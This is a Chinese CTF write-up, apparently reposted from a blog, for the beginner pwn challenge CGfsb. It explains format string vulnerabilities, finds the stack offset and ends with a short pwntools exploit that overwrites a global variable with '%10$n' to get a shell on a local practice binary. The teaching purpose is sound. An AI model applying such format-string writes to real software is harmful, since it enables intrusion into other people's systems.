攻防世界_pwn_CGfsb(萌新版)-pwnme解惑

首发于鄙人博客:传送门

0x00 前言

格式化字符串漏洞。

file checksec结果如下所示:

NX打开,就是说堆栈不可执行。

PIE未打开,也就是说,我们在ida中国所看到的就是函数地址在运行过程中的地址。

0x10 步骤

0x11 main函数

在main函数中,我们可以发现printf函数的用法与我们平时使用C语言的习惯不同,这样的用法会给系统带来漏洞,题中要求我们输入s的内容,但是比较的却是pwnme的内容。

再看pwnme的地址,pwnme在bss段,是一个全局变量,如果我们能够通过一种方法把pwnme的内容进行人工改变,那么我们便可以getshell。

%n$:表示的是获取格式化字符串中的指定参数,n表示第几个 ,在这里我们可以通过输入一串字母和%p来查看输入内容在栈中的偏移量。

%n:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。

自写C程序,便于更好地理解:

图1

看图1,printf的参数只有一个a,就是pwnme的地址,这样前面的%后面就只需要写1,因为此时它是栈内第一个参数(个人认为。。。)

图2
图3

看图3,这时候a的前面有pwnme,这时候它就是第二个参数,所以偏移量为2,则%后面为2,从而这样我们便可以推知本题的pwnme的地址,当我们通过输入%x判断得知偏移量后,便可以通过类似的方法在pwnme的地址处改写其数据,以达到getshell 的目的。

  • addr%k$n:其意思就应该为在地址为addr、偏移量(相对于我们输入处的)为k的位置,写入前面若干个字符串长度的值。

如图所示,AAAA在栈中的偏移量为10,那么就是说我们可以通过%10$n,将前面已经输出的内容的长度放入偏移量为10的参数的位置。

在payload中,我们便需要将pwnme的地址打包,然后又因为pwnme的地址被打包为32位,即长度为4,所以我们依然需要再多输入4个长度的内容。

则payload为:payload = p32(pwnme_addr)+"aaaa" +'%10$n'

0x20 exp

from pwn import *
sh = process("./CGfsb")
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr)+"aaaa" +'%10$n'
sh.recvuntil("name:")
sh.sendline("aaa")
sh.recvuntil("please:")
sh.sendline(payload)
sh.interactive()
发布了17 篇原创文章 · 获赞 1 · 访问量 267

猜你喜欢

转载自blog.csdn.net/qq_30204577/article/details/104480616